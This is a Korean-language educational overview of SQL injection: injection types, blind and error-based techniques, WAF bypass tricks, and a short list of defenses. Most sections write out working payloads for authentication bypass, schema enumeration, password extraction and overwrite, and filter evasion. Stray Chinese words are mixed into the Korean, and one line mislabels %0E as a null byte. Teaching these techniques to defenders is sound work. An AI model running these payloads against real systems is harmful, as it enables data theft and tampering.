서론
SQL 인젝션은 웹 애플리케이션 보안에서 가장 흔하고 위험한 취약점 중 하나다. 본 문서는 SQL 인젝션의 원리와 다양한 공격 기법, 그리고 효과적인 방어 방법을 체계적으로 정리한다.
SQL 인젝션의 원리와危险性
SQL 인젝션은 공격자가 악의적인 SQL 코드를 입력값으로 전달하여 데이터베이스가 의도하지 않은 명령을 실행하도록 만드는 공격手法다. 사용자의 입력이 적절하게 검증되지 않고 SQL 쿼리에 직접 포함될 때 발생한다.
주요 위험성
- 정보 유출: 공격자가 민감한 데이터(사용자 비밀번호, 개인 정보, 신용카드 번호 등)에 접근할 수 있다.
- 데이터 조작 및 삭제: 데이터베이스의 데이터를 수정하거나 삭제할 수 있다.
- 시스템 장악: 데이터베이스의 시스템 명령 실행 기능을 악용하여 서버 권한을 탈취할 수 있다.
- 영구적 백도어 설치: 악성 코드를 데이터베이스에 저장하여 장기적으로 정보를 탈취할 수 있다.
SQL 인젝션 분류
1. 데이터 타입별 분류
숫자형 인젝션(Numeric Injection)
애플리케이션이 사용자 입력을 숫자로 직접 SQL문에 연결할 때 발생한다. 이 경우 SQL 문에서 인용부호가 필요 없다.
예시: 쿼리 SELECT * FROM members WHERE idx = {user_input}에서 1 OR 1=1을 입력하면 SELECT * FROM members WHERE idx = 1 OR 1=1이 되어 모든 레코드가 반환된다.
문자열형 인젝션(String Injection)
파라미터가 문자열 유형일 때 단일 인용부호나 이중 인용부호로 묶인다. 공격자는 특수문자를 사용하여 인용부호를 우회하고 악의적인 코드를 주입한다.
예시: 쿼리 SELECT * FROM members WHERE name = '{user_input}'에서 ' OR '1'='1을 입력하면 인증을 우회할 수 있다.
2. 공격技法별 분류
유니온 기반 인젝션(Union-Based SQLi)
UNION 연산을 사용하여 여러 SELECT 결과물을 결합한다. 열 개수 일치와 데이터 타입 호환성이 필요하다.
공격 절차
- 인젝션 포인트 탐지: 특수문자(', ", (, ))를 입력하여 페이지 응답 차이를 관찰한다.
- 인젝션 타입 판단: 문자열형은 인용부호로, 숫자형은 인용부호 없이 테스트한다.
- 열 개수 확인: ORDER BY를 사용하여 컬럼 수를 파악한다.
- 반환 위치 확인: UNION SELECT로 데이터가 표시되는 위치를 찾는다.
- 정보 수집: 데이터베이스 함수(version(), database(), user())를 활용한다.
- 데이터 추출: information_schema를 통해 데이터베이스, 테이블, 컬럼 정보를 순차적으로 획득한다.
핵심 쿼리 문법
-- 데이터베이스 목록 조회
SELECT group_concat(schema_name) FROM information_schema.schemata;
-- 특정 DB의 테이블 목록
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='target_db';
-- 특정 테이블의 컬럼 목록
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='target_db' AND table_name='target_table';
-- 실제 데이터 추출
SELECT group_concat(id,username,password) FROM target_db.target_table;
블라인드 인젝션(Blind SQLi)
쿼리 결과가 화면에 직접 표시되지 않을 때 사용한다. 페이지 응답의 차이가 Boolean 값이나 응답 시간으로 정보 추론한다.
Boolean-Based 인젝션
조건의 참거짓에 따라 다른 페이지 응답이 반환되는 점을 이용한다.
핵심 함수:
length(): 문자열 길이 판단substr()또는mid(): 문자열 추출left(),right(): 좌우측 문자 추출
공격 예시:
?idx=1 AND length(database())=5 --
-- 데이터베이스명이 5글자라면 정상 응답
?idx=1 AND substr(database(),1,1)='s' --
-- 첫 번째 문자가 's'라면 정상 응답
Time-Based 인젝션
SLEEP() 함수로 인한 응답 지연을 활용한다.
?idx=1' AND IF((SELECT COUNT(*) FROM admins)>0, SLEEP(5), 0) --
-- admins 테이블이 존재하면 5초 지연
DNSlog 인젝션
데이터베이스의 DNS解析 기능을 활용하여 查询 결과를 도메인으로 전송한다.
스택 쿼리 인젝션(Stacked Queries)
세미콜론(;)으로 여러 SQL 문을 연결하여 한 번에 실행한다.
?idx=1; UPDATE users SET passwd='hacked' WHERE idx=1--
-- 기존 쿼리 후 UPDATE 문 실행
에러 기반 인젝션(Error-Based SQLi)
고의적으로 오류를 발생시켜 오류 메시지에 포함된 정보를 탈취한다.
MySQL 예시:
?idx=1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1) --
-- 오류 메시지에 비밀번호 노출
와이드바이트 인젝션
GBK 같은 와이드바이트 인코딩을 사용하여 인용부호 필터링을 우회한다.
?idx=1%df' OR 1=1 --
-- %df' 가 하나의 문자로 해석되어 인용부호 이스케이프 우회
Secondary 인젝션(Second-Order SQLi)
악의적인 입력을 한 번 저장한 후, 그 데이터를 다시 조회할 때 공격이 트리거된다.
프리페어드 스테이트먼트 우회
파라미터화 쿼리라도 구현상의 취약점을 악용할 수 있다.
HTTP 헤더 인젝션
User-Agent, Cookie 등의 HTTP 헤더를 통해 인젝션이 발생할 수 있다.
NoSQL 인젝션
MongoDB 같은 NoSQL 데이터베이스에 대한 공격이다.
// 원본 쿼리: db.users.find({username: req.body.username, password: req.body.password})
// 공격 입력: {"username": {"$ne": null}, "password": {"$ne": null}}
// 결과: 모든 사용자와 비밀번호가 null이 아닌 레코드 반환
WAF 우회 기법
1. 함수 대체
WAF가 차단하는 함수를 기능相同的 대체 함수로 교체한다. 예를 들어 substring()을 substr()로 교체한다.
2. 대소문자 혼합
일부 WAF는 소문자만 검사하므로 대소문자를 섞어 쓴다. SeLeCt, UnIoN等形式.
3. 인라인 주석 활용
id=1/*!UNION*/ALL/*!SELECT*/1,2,3
4. 청크 전송 인코딩
HTTP Chunked Transfer Encoding을 사용하여 Payload를 분리해서 전송한다.
5. 더러운 문자 주입
se/**/lect -- 주석 삽입
s%0Elect -- NULL 바이트 삽입
6. 역인용부호 활용
se`lect` `user`() -- 백틱으로 감싸기
7. 인코딩 변환
URL 인코딩, 유니코드 인코딩, HTML 엔티티 인코딩 등을 활용한다.
8. HTTP 파라미터 오염
?idx=1&idx=2 union select 1,2,3--
-- WAF는 첫 번째 파라미터만 검사하고 서버는 두 번째 파라미터를 사용
9. 와이드바이트
GBK 인코딩 환경에서 %df' 를 사용하여 인용부호 이스케이프를 우회한다.
방어 전략
- 프리페어드 스테이트먼트 사용: 파라미터화된 쿼리로 완전한 분리 달성
- 입력 검증: 화이트리스트 방식으로 특수문자 필터링
- 최소 권한 원칙: 데이터베이스 계정이 필요한 권한만 부여
- ORM 보안 설정: 동적 쿼리 생성 방지
- 출력 인코딩: XSS 연쇄 공격 방지
결론
SQL 인젝션은 개발 초기 단계에서 적절한 방어 조치를 취하지 않으면 심각한 보안 사고로 이어질 수 있다. 검증된 보안 패턴을 적용하고, 정기적인 보안 감사를 수행하는 것이 중요하다.